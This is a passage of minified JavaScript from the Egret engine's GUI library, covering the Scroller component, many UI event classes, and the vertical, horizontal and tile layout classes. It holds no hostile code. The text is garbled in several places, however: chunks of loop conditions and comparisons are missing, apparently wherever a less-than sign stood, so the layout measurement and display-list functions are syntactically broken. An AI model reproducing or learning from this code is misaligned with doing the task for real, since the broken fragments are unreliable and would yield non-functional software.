c.Animation(this.verticalUpdateHandler,this),this.verticalAnimator.endFunction=this.finishScrollingVertically,this.verticalAnimator.easerFunction=a.easeOut),this.verticalAnimator.isPlaying&&this.verticalAnimator.stop(),this.verticalAnimator.duration= d,this.verticalAnimator.motionPaths=[{prop:"vsp",from:e,to:b}],this.verticalAnimator.play())};a.prototype.verticalUpdateHandler=function(a){this._viewport.verticalScrollPosition=a.currentValue.vsp};Object.defineProperty(a.prototype,"numElements",{get:function(){return this.viewport?1:0},enumerable:!0,configurable:!0});a.prototype.throwRangeError=function(a){throw new RangeError('\u7d22\u5f15:"'+a+'"\u8d85\u51fa\u53ef\u89c6\u5143\u7d20\u7d22\u5f15\u8303\u56f4');};a.prototype.getElementAt=function(a){if(this.viewport&& 0==a)return this.viewport;this.throwRangeError(a);return null};a.prototype.getElementIndex=function(a){return null!=a&&a==this.viewport?0:-1};a.prototype.containsElement=function(a){return null!=a&&a==this.viewport?!0:!1};a.prototype.throwNotSupportedError=function(){throw Error("\u6b64\u65b9\u6cd5\u5728Scroller\u7ec4\u4ef6\u5185\u4e0d\u53ef\u7528!");};a.prototype.addElement=function(a){this.throwNotSupportedError();return null};a.prototype.addElementAt=function(a,c){this.throwNotSupportedError(); return null};a.prototype.removeElement=function(a){this.throwNotSupportedError();return null};a.prototype.removeElementAt=function(a){this.throwNotSupportedError();return null};a.prototype.removeAllElements=function(){this.throwNotSupportedError()};a.prototype.setElementIndex=function(a,c){this.throwNotSupportedError()};a.prototype.swapElements=function(a,c){this.throwNotSupportedError()};a.prototype.swapElementsAt=function(a,c){this.throwNotSupportedError()};a.prototype.addChild=function(a){this.throwNotSupportedError(); return null};a.prototype.addChildAt=function(a,c){this.throwNotSupportedError();return null};a.prototype.removeChild=function(a){this.throwNotSupportedError();return null};a.prototype.removeChildAt=function(a){this.throwNotSupportedError();return null};a.prototype.setChildIndex=function(a,c){this.throwNotSupportedError()};a.prototype.swapChildren=function(a,c){this.throwNotSupportedError()};a.prototype.swapChildrenAt=function(a,c){this.throwNotSupportedError()};a.VELOCITY_WEIGHTS=[1,1.33,1.66,2]; return a}(c.UIComponent);c.Scroller=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);d.call(this,a,c,e)}__extends(a,d);a.dispatchUIEvent=function(b,d){c.Event._dispatchByTarget(a,b,d)};a.INITIALIZE="initialize";a.CREATION_COMPLETE="creationComplete";a.UPDATE_COMPLETE="updateComplete";a.BUTTON_DOWN="buttonDown";a.CHANGE_END="changeEnd";a.CHANGE_START="changeStart";a.CHANGING="changing";a.VALUE_COMMIT="valueCommit";a.SKIN_CHANGED="skinChanged";a.CONTENT_CHANGED="contentChanged"; a.OPEN="open";a.CLOSE="close";a.PLAY_COMPLETE="playComplete";return a}(c.Event);c.UIEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f,g,l,n){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=null);"undefined"===typeof g&&(g=null);"undefined"===typeof l&&(l=null);"undefined"===typeof n&&(n=null);d.call(this,a,c,e);this.kind=k;this.property=f;this.oldValue=g;this.newValue=l;this.source=n}__extends(a,d);a.dispatchPropertyChangeEvent=function(b,d,e,k,f,g){"undefined"===typeof d&&(d=null);"undefined"===typeof e&& (e=null);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=null);"undefined"===typeof g&&(g=null);var l=c.Event._getPropertyData(a);l.kind=d;l.property=e;l.oldValue=k;l.newValue=f;l.source=g;c.Event._dispatchByTarget(a,b,a.PROPERTY_CHANGE,l)};a.PROPERTY_CHANGE="propertyChange";return a}(c.Event);c.PropertyChangeEvent=e})(egret||(egret={}));(function(c){var e=function(){function c(){}c.UPDATE="update";c.DELETE="delete";return c}();c.PropertyChangeEventKind=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f){"undefined"===typeof c&&(c=NaN);"undefined"===typeof e&&(e=NaN);"undefined"===typeof k&&(k=!1);"undefined"===typeof f&&(f=!1);d.call(this,a,k,f);this.oldX=c;this.oldY=e}__extends(a,d);a.dispatchMoveEvent=function(b,d,e){"undefined"===typeof d&&(d=NaN);"undefined"===typeof e&&(e=NaN);var k=c.Event._getPropertyData(a);k.oldX=d;k.oldY=e;c.Event._dispatchByTarget(a,b,a.MOVE,k)};a.MOVE="move";return a}(c.Event);c.MoveEvent=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f){"undefined"===typeof c&&(c=NaN);"undefined"===typeof e&&(e=NaN);"undefined"===typeof k&&(k=!1);"undefined"===typeof f&&(f=!1);d.call(this,a,k,f);this.oldWidth=c;this.oldHeight=e}__extends(a,d);a.dispatchResizeEvent=function(b,d,e){"undefined"===typeof d&&(d=NaN);"undefined"===typeof e&&(e=NaN);var k=c.Event._getPropertyData(a);k.oldWidth=d;k.oldHeight=e;c.Event._dispatchByTarget(a,b,a.RESIZE,k)};a.RESIZE="resize";return a}(c.Event);c.ResizeEvent= e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=null);d.call(this,a,c,e);this.partName=k;this.instance=f}__extends(a,d);a.dispatchSkinPartEvent=function(b,d,e,k){"undefined"===typeof e&&(e=null);"undefined"===typeof k&&(k=null);var f=c.Event._getPropertyData(a);f.partName=e;f.instance=k;c.Event._dispatchByTarget(a,b,d,f)};a.PART_ADDED="partAdded";a.PART_REMOVED="partRemoved"; return a}(c.Event);c.SkinPartEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=-1);d.call(this,a,c,e);this.detail=k}__extends(a,d);a.dispatchCloseEvent=function(b,d,e){"undefined"===typeof e&&(e=-1);var k=c.Event._getPropertyData(a);k.detail=e;c.Event._dispatchByTarget(a,b,d,k)};a.CLOSE="close";return a}(c.Event);c.CloseEvent=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f,g,l,n){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=-1);"undefined"===typeof g&&(g=-1);"undefined"===typeof l&&(l=null);"undefined"===typeof n&&(n=null);d.call(this,a,c,e);this.kind=k;this.location=f;this.oldLocation=g;this.items=l?l:[];this.oldItems=n?n:[]}__extends(a,d);a.dispatchCollectionEvent=function(b,d,e,k,f,g,l){"undefined"===typeof e&&(e=null);"undefined"===typeof k&& (k=-1);"undefined"===typeof f&&(f=-1);"undefined"===typeof g&&(g=null);"undefined"===typeof l&&(l=null);var n=c.Event._getPropertyData(a);n.kind=e;n.location=k;n.oldLocation=f;n.items=g;n.oldItems=l;c.Event._dispatchByTarget(a,b,d,n)};a.COLLECTION_CHANGE="collectionChange";return a}(c.Event);c.CollectionEvent=e})(egret||(egret={})); (function(c){var e=function(){function c(){}c.ADD="add";c.MOVE="move";c.REFRESH="refresh";c.REMOVE="remove";c.REPLACE="replace";c.RESET="reset";c.UPDATE="update";c.OPEN="open";c.CLOSE="close";return c}();c.CollectionEventKind=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=-1);d.call(this,a,c,e);this.element=k;this.index=f}__extends(a,d);a.dispatchElementExistenceEvent=function(b,d,e,k){"undefined"===typeof e&&(e=null);"undefined"===typeof k&&(k=-1);var f=c.Event._getPropertyData(a);f.element=e;f.index=k;c.Event._dispatchByTarget(a,b,d,f)};a.ELEMENT_ADD="elementAdd";a.ELEMENT_REMOVE="elementRemove"; return a}(c.Event);c.ElementExistenceEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=-1);"undefined"===typeof f&&(f=-1);d.call(this,a,c,e);this.oldIndex=k;this.newIndex=f}__extends(a,d);a.dispatchIndexChangeEvent=function(b,d,e,k,f){"undefined"===typeof e&&(e=-1);"undefined"===typeof k&&(k=-1);"undefined"===typeof f&&(f=!1);var g=c.Event._getPropertyData(a);g.oldIndex=e;g.newIndex=k;return c.Event._dispatchByTarget(a,b,d,g,!1,f)};a.CHANGE="change"; a.CHANGING="changing";return a}(c.Event);c.IndexChangeEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f,g,l,n,p,q,r,s,z){"undefined"===typeof c&&(c=!0);"undefined"===typeof e&&(e=!0);"undefined"===typeof k&&(k=0);"undefined"===typeof f&&(f=0);"undefined"===typeof g&&(g=0);"undefined"===typeof l&&(l=!1);"undefined"===typeof n&&(n=!1);"undefined"===typeof p&&(p=!1);"undefined"===typeof q&&(q=!1);"undefined"===typeof r&&(r=-1);"undefined"===typeof s&&(s=null);"undefined"===typeof z&&(z=null);d.call(this,a,c,e,k,f,g,l,n,p,q);this.itemIndex=r;this.item= s;this.itemRenderer=z}__extends(a,d);a.dispatchListEvent=function(b,d,e,k,f,g){"undefined"===typeof e&&(e=null);"undefined"===typeof k&&(k=-1);"undefined"===typeof f&&(f=null);"undefined"===typeof g&&(g=null);var l=c.Event._getPropertyData(a);l.touchPointID=e.touchPointID;l._stageX=e.stageX;l._stageY=e.stageY;l.ctrlKey=e.ctrlKey;l.altKey=e.altKey;l.shiftKey=e.shiftKey;l.touchDown=e.touchDown;l.itemIndex=k;l.item=f;l.itemRenderer=g;c.Event._dispatchByTarget(a,b,d,l)};a.ITEM_ROLL_OUT="itemRollOut"; a.ITEM_ROLL_OVER="itemRollOver";a.ITEM_CLICK="itemClick";return a}(c.TouchEvent);c.ListEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=!1);d.call(this,a,c,e);this.popUp=k;this.modal=f}__extends(a,d);a.dispatchPopUpEvent=function(b,d,e,k){"undefined"===typeof e&&(e=null);"undefined"===typeof k&&(k=!1);var f=c.Event._getPropertyData(a);f.popUp=e;f.modal=k;c.Event._dispatchByTarget(a,b,d,f)};a.ADD_POPUP="addPopUp";a.REMOVE_POPUP="removePopUp";a.BRING_TO_FRONT= "bringToFront";return a}(c.Event);c.PopUpEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f,g){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=-1);"undefined"===typeof g&&(g=null);d.call(this,a,c,e);this.renderer=k;this.index=f;this.data=g}__extends(a,d);a.dispatchRendererExistenceEvent=function(b,d,e,k,f){"undefined"===typeof e&&(e=null);"undefined"===typeof k&&(k=-1);"undefined"===typeof f&&(f=null);var g=c.Event._getPropertyData(a);g.renderer=e;g.index=k;g.data= f;c.Event._dispatchByTarget(a,b,d,g)};a.RENDERER_ADD="rendererAdd";a.RENDERER_REMOVE="rendererRemove";return a}(c.Event);c.RendererExistenceEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=null);d.call(this,a,c,e);this.oldState=k;this.newState=f}__extends(a,d);a.dispatchStateChangeEvent=function(b,d,e,k){"undefined"===typeof e&&(e=null);"undefined"===typeof k&&(k=null);var f=c.Event._getPropertyData(a);f.oldState=e;f.newState=k;c.Event._dispatchByTarget(a,b,d,f)};a.CURRENT_STATE_CHANGE="currentStateChange";a.CURRENT_STATE_CHANGING= "currentStateChanging";return a}(c.Event);c.StateChangeEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!1);d.call(this,a,c,e)}__extends(a,d);a.dispatchTrackBaseEvent=function(b,d){c.Event._dispatchByTarget(a,b,d)};a.THUMB_DRAG="thumbDrag";a.THUMB_PRESS="thumbPress";a.THUMB_RELEASE="thumbRelease";return a}(c.Event);c.TrackBaseEvent=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(a,c,e,k,f,g){"undefined"===typeof c&&(c=!1);"undefined"===typeof e&&(e=!0);"undefined"===typeof k&&(k=-1);"undefined"===typeof f&&(f=null);"undefined"===typeof g&&(g=null);d.call(this,a,c,e);this.item=f;this.itemRenderer=g;this.itemIndex=k}__extends(a,d);a.dispatchTreeEvent=function(b,d,e,k,f,g){"undefined"===typeof e&&(e=-1);"undefined"===typeof k&&(k=null);"undefined"===typeof f&&(f=null);"undefined"===typeof g&&(g=!1);var l=c.Event._getPropertyData(a); l.itemIndex=e;l.item=k;l.itemRenderer=f;l.opening=g;c.Event._dispatchByTarget(a,b,d,l)};a.ITEM_CLOSE="itemClose";a.ITEM_OPEN="itemOpen";a.ITEM_OPENING="itemOpening";return a}(c.Event);c.TreeEvent=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this);this._useVirtualLayout=!1}__extends(a,c);Object.defineProperty(a.prototype,"target",{get:function(){return this._target},set:function(a){this._target!=a&&(this._target=a,this.clearVirtualLayoutCache())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"useVirtualLayout",{get:function(){return this._useVirtualLayout},set:function(a){this._useVirtualLayout!=a&&(this._useVirtualLayout=a,this.dispatchEventWith("useVirtualLayoutChanged"), this._useVirtualLayout&&!a&&this.clearVirtualLayoutCache(),this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"typicalLayoutRect",{get:function(){return this._typicalLayoutRect},set:function(a){this._typicalLayoutRect!=a&&(this._typicalLayoutRect=a,this.target&&this.target.invalidateSize())},enumerable:!0,configurable:!0});a.prototype.scrollPositionChanged=function(){};a.prototype.clearVirtualLayoutCache=function(){};a.prototype.elementAdded= function(a){};a.prototype.elementRemoved=function(a){};a.prototype.measure=function(){};a.prototype.updateDisplayList=function(a,c){};return a}(c.EventDispatcher);c.LayoutBase=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._mouseWheelSpeed=20}__extends(a,d);Object.defineProperty(a.prototype,"useVirtualLayout",{set:function(a){},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"mouseWheelSpeed",{get:function(){return this._mouseWheelSpeed},set:function(a){0==a&&(a=1);this._mouseWheelSpeed=a},enumerable:!0,configurable:!0});a.prototype.getElementBoundsLeftOfScrollRect=function(a){var d=new c.Rectangle;d.x=a.x-this._mouseWheelSpeed;d.right= a.x;return d};a.prototype.getElementBoundsRightOfScrollRect=function(a){var d=new c.Rectangle;d.x=a.right;d.right=a.right+this._mouseWheelSpeed;return d};a.prototype.getElementBoundsAboveScrollRect=function(a){var d=new c.Rectangle;d.y=a.y-this._mouseWheelSpeed;d.bottom=a.y;return d};a.prototype.getElementBoundsBelowScrollRect=function(a){var d=new c.Rectangle;d.y=a.bottom;d.bottom=a.bottom+this._mouseWheelSpeed;return d};a.prototype.measure=function(){d.prototype.measure.call(this);if(null!=this.target){for(var a= 0,c=0,e=this.target.numElements,k=0;k=e&&ad-c)return this.endIndex=this.startIndex=-1,!1;c=this.target.verticalScrollPosition+this.target.height;if(cy){H=x/v;for(t=0;ty&&u.preferredHeight>H&&(B=x/L),isNaN(B)|| (v=Math.round(B+q),q+=B-v)):v=G[u.hashCode],s?(B=f,u.setLayoutBoundsSize(E,v)):(B=NaN,isNaN(u.percentWidth)||(B=Math.min(100,u.percentWidth),B=Math.round(p*B*0.01)),u.setLayoutBoundsSize(B,v),B=(p-u.layoutBoundsWidth)*z,B=0=l||(b-=l-n);l=!1;break}else if(s>r.max){l=r.max;r.size=l;d[q]=d[--e];d[e]=r;c-=r.percent;n>=l||(b-=l-n);l=!1;break}else r.size=s}}while(!l)};return b}(c.LayoutBase);c.VerticalLayout=e;var d=function(){return function(){this.size=0}}()})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(a){function b(){a.call(this);this._horizontalAlign=c.HorizontalAlign.LEFT;this._verticalAlign=c.VerticalAlign.TOP;this._gap=6;this._padding=0;this._paddingBottom=this._paddingTop=this._paddingRight=this._paddingLeft=NaN;this.elementSizeTable=[];this.endIndex=this.startIndex=-1;this.indexInViewCalculated=!1;this.maxElementHeight=0}__extends(b,a);Object.defineProperty(b.prototype,"horizontalAlign",{get:function(){return this._horizontalAlign},set:function(a){this._horizontalAlign!= a&&(this._horizontalAlign=a,this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(b.prototype,"verticalAlign",{get:function(){return this._verticalAlign},set:function(a){this._verticalAlign!=a&&(this._verticalAlign=a,this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(b.prototype,"gap",{get:function(){return this._gap},set:function(a){this._gap!=a&&(this._gap=a,this.invalidateTargetSizeAndDisplayList(), this.hasEventListener("gapChanged")&&this.dispatchEventWith("gapChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(b.prototype,"padding",{get:function(){return this._padding},set:function(a){this._padding!=a&&(this._padding=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(b.prototype,"paddingLeft",{get:function(){return this._paddingLeft},set:function(a){this._paddingLeft!=a&&(this._paddingLeft=a,this.invalidateTargetSizeAndDisplayList())}, enumerable:!0,configurable:!0});Object.defineProperty(b.prototype,"paddingRight",{get:function(){return this._paddingRight},set:function(a){this._paddingRight!=a&&(this._paddingRight=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(b.prototype,"paddingTop",{get:function(){return this._paddingTop},set:function(a){this._paddingTop!=a&&(this._paddingTop=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(b.prototype, "paddingBottom",{get:function(){return this._paddingBottom},set:function(a){this._paddingBottom!=a&&(this._paddingBottom=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});b.prototype.invalidateTargetSizeAndDisplayList=function(){this.target&&(this.target.invalidateSize(),this.target.invalidateDisplayList())};b.prototype.measure=function(){a.prototype.measure.call(this);this.target&&(this.useVirtualLayout?this.measureVirtual():this.measureReal())};b.prototype.measureVirtual= function(){for(var a=this.typicalLayoutRect?this.typicalLayoutRect.height:22,b=this.typicalLayoutRect?this.typicalLayoutRect.width:71,c=this.getElementTotalSize(),a=Math.max(this.maxElementHeight,a),d=this.target.getElementIndicesInView(),e=d.length,l=0;l=e&&ad-c)return this.endIndex=this.startIndex=-1,!1;c=this.target.horizontalScrollPosition+this.target.width;if(cy){H=x/v;for(t=0;ty&&u.preferredWidth>H&&(C=x/L),isNaN(C)||(v=Math.round(C+p),p+=C-v)):v=G[u.hashCode],s?(C=l,u.setLayoutBoundsSize(v,E)):(C=NaN,isNaN(u.percentHeight)||(C=Math.min(100,u.percentHeight),C=Math.round(q*C*0.01)),u.setLayoutBoundsSize(v,C),C=(q-u.layoutBoundsHeight)*z,C=0=l||(b-=l-n);l=!1;break}else if(s>r.max){l=r.max;r.size=l;d[q]=d[--e];d[e]=r;c-=r.percent;n>=l||(b-=l-n);l=!1;break}else r.size=s}}while(!l)};return b}(c.LayoutBase);c.HorizontalLayout=e;var d=function(){return function(){this.size=0}}()})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this.explicitHorizontalGap=NaN;this._horizontalGap=6;this.explicitVerticalGap=NaN;this._verticalGap=6;this._columnCount=-1;this._requestedColumnCount=0;this._rowCount=-1;this._requestedRowCount=0;this._rowHeight=this.explicitRowHeight=this._columnWidth=this.explicitColumnWidth=NaN;this._padding=0;this._paddingBottom=this._paddingTop=this._paddingRight=this._paddingLeft=NaN;this._horizontalAlign=c.HorizontalAlign.JUSTIFY;this._verticalAlign= c.VerticalAlign.JUSTIFY;this._columnAlign=c.ColumnAlign.LEFT;this._rowAlign=c.RowAlign.TOP;this._orientation=c.TileOrientation.ROWS;this.maxElementHeight=this.maxElementWidth=0;this.endIndex=this.startIndex=-1;this.indexInViewCalculated=!1}__extends(a,d);Object.defineProperty(a.prototype,"horizontalGap",{get:function(){return this._horizontalGap},set:function(a){a!=this._horizontalGap&&(this._horizontalGap=this.explicitHorizontalGap=a,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("gapChanged")&& this.dispatchEventWith("gapChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"verticalGap",{get:function(){return this._verticalGap},set:function(a){a!=this._verticalGap&&(this._verticalGap=this.explicitVerticalGap=a,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("gapChanged")&&this.dispatchEventWith("gapChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"columnCount",{get:function(){return this._columnCount},enumerable:!0,configurable:!0}); Object.defineProperty(a.prototype,"requestedColumnCount",{get:function(){return this._requestedColumnCount},set:function(a){this._requestedColumnCount!=a&&(this._columnCount=this._requestedColumnCount=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"rowCount",{get:function(){return this._rowCount},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"requestedRowCount",{get:function(){return this._requestedRowCount},set:function(a){this._requestedRowCount!= a&&(this._rowCount=this._requestedRowCount=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"columnWidth",{get:function(){return this._columnWidth},set:function(a){a!=this._columnWidth&&(this._columnWidth=this.explicitColumnWidth=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"rowHeight",{get:function(){return this._rowHeight},set:function(a){a!=this._rowHeight&&(this._rowHeight= this.explicitRowHeight=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"padding",{get:function(){return this._padding},set:function(a){this._padding!=a&&(this._padding=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"paddingLeft",{get:function(){return this._paddingLeft},set:function(a){this._paddingLeft!=a&&(this._paddingLeft=a,this.invalidateTargetSizeAndDisplayList())}, enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"paddingRight",{get:function(){return this._paddingRight},set:function(a){this._paddingRight!=a&&(this._paddingRight=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"paddingTop",{get:function(){return this._paddingTop},set:function(a){this._paddingTop!=a&&(this._paddingTop=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype, "paddingBottom",{get:function(){return this._paddingBottom},set:function(a){this._paddingBottom!=a&&(this._paddingBottom=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"horizontalAlign",{get:function(){return this._horizontalAlign},set:function(a){this._horizontalAlign!=a&&(this._horizontalAlign=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"verticalAlign",{get:function(){return this._verticalAlign}, set:function(a){this._verticalAlign!=a&&(this._verticalAlign=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"columnAlign",{get:function(){return this._columnAlign},set:function(a){this._columnAlign!=a&&(this._columnAlign=a,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"rowAlign",{get:function(){return this._rowAlign},set:function(a){this._rowAlign!=a&&(this._rowAlign=a, this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"orientation",{get:function(){return this._orientation},set:function(a){this._orientation!=a&&(this._orientation=a,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("orientationChanged")&&this.dispatchEventWith("orientationChanged"))},enumerable:!0,configurable:!0});a.prototype.invalidateTargetSizeAndDisplayList=function(){this.target&&(this.target.invalidateSize(),this.target.invalidateDisplayList())}; a.prototype.measure=function(){if(this.target){var a=this._columnCount,c=this._rowCount,d=this._columnWidth,e=this._rowHeight,f=0,g=0;this.calculateRowAndColumn(this.target.explicitWidth,this.target.explicitHeight);var l=0=g&&(g=1);l=this._rowHeight+k;0>=l&&(l=1);var n=this.orientation==c.TileOrientation.COLUMNS,p=!isNaN(a),q=!isNaN(d),r=isNaN(this._padding)?0:this._padding,s=isNaN(this._paddingLeft)?r:this._paddingLeft,z=isNaN(this._paddingRight)?r:this._paddingRight,A=isNaN(this._paddingTop)?r:this._paddingTop,r=isNaN(this._paddingBottom)?r:this._paddingBottom;0=g)return this.startIndex=0,this.endIndex=a-1,!1;l=this.target.horizontalScrollPosition+ this.target.width;k=Math.floor((this.target.horizontalScrollPosition-f)/g);0>k&&(k=0);f=Math.ceil((l-f)/g);0>f&&(f=0);this.startIndex=Math.min(a-1,Math.max(0,k*this._rowCount));this.endIndex=Math.min(a-1,Math.max(0,f*this._rowCount-1))}else{g=this._rowHeight+l;if(0>=g)return this.startIndex=0,this.endIndex=a-1,!1;l=this.target.verticalScrollPosition+this.target.height;f=Math.floor((this.target.verticalScrollPosition-k)/g);0>f&&(f=0);k=Math.ceil((l-k)/g);0>k&&(k=0);this.startIndex=Math.min(a-1,Math.max(0, f*this._columnCount));this.endIndex=Math.min(a-1,Math.max(0,k*this._columnCount-1))}return this.startIndex!=d||this.endIndex!=e};a.prototype.updateDisplayList=function(a,e){d.prototype.updateDisplayList.call(this,a,e);if(this.target){var m=isNaN(this._padding)?0:this._padding,k=isNaN(this._paddingLeft)?m:this._paddingLeft,f=isNaN(this._paddingRight)?m:this._paddingRight,g=isNaN(this._paddingTop)?m:this._paddingTop,l=isNaN(this._paddingBottom)?m:this._paddingBottom,m=isNaN(this._horizontalGap)?0:this._horizontalGap, 